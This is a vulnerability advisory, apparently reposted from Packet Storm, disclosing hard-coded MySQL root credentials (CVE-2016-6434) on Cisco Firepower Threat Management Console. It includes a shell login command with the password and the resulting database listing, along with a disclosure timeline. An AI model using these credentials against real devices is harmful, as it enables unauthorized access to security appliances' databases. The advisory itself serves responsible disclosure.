Cisco Firepower Threat Management Console Hard-Coded MySQL Credentials

Type packetstorm
Reporter Matthew Bergin
Modified 2016-10-05T00:00:00


                                            `KL-001-2016-005 : Cisco Firepower Threat Management Console Hard-coded MySQL  
Title: Cisco Firepower Threat Management Console Hard-coded MySQL Credentials  
Advisory ID: KL-001-2016-005  
Publication Date: 2016.10.05  
Publication URL:  
1. Vulnerability Details  
Affected Vendor: Cisco  
Affected Product: Firepower Threat Management Console  
Affected Version: Cisco Fire Linux OS 6.0.1 (build 37/build 1213)  
Platform: Embedded Linux  
CWE Classification: CWE-798: Use of Hard-coded Credentials  
Impact: Authentication Bypass  
CVE-ID: CVE-2016-6434  
2. Vulnerability Description  
The root account for the local MySQL database has poor password  
3. Technical Description  
root@firepower:/Volume/6.0.1# mysql -u root --password=admin  
Warning: Using a password on the command line interface can be insecure.  
Welcome to the MySQL monitor. Commands end with ; or \g.  
Your MySQL connection id is 23348  
Server version: 5.6.24-enterprise-commercial-advanced-log MySQL Enterprise  
Server - Advanced Edition (Commercial)  
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Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.  
mysql> show databases;  
| Database |  
| information_schema |  
| Sourcefire |  
| external_data |  
| external_schema |  
| mysql |  
| performance_schema |  
| sfsnort |  
7 rows in set (0.00 sec)  
Note that mysqld listens only on loopback, so a remote attacker  
would have to leverage some other condition to be able to reach  
the mysql daemon.  
4. Mitigation and Remediation Recommendation  
The vendor has acknowledged this vulnerability  
but has not released a fix for the  
issue. Vendor acknowledgement available at:  
5. Credit  
This vulnerability was discovered by Matt Bergin (@thatguylevel)  
of KoreLogic, Inc.  
6. Disclosure Timeline  
2016.06.30 - KoreLogic sends vulnerability report and PoC to Cisco.  
2016.06.30 - Cisco acknowledges receipt of vulnerability report.  
2016.07.20 - KoreLogic and Cisco discuss remediation timeline for  
this vulnerability and for 3 others reported in the  
same product.  
2016.08.12 - 30 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.02 - 45 business days have elapsed since the vulnerability was  
reported to Cisco.  
2016.09.09 - KoreLogic asks for an update on the status of the  
remediation efforts.  
2016.09.15 - Cisco confirms remediation is underway and soon to be  
2016.09.28 - Cisco informs KoreLogic that the acknowledgement details  
will be released publicly on 2016.10.05.  
2016.10.05 - Public disclosure.  
7. Proof of Concept  
See Technical Description  
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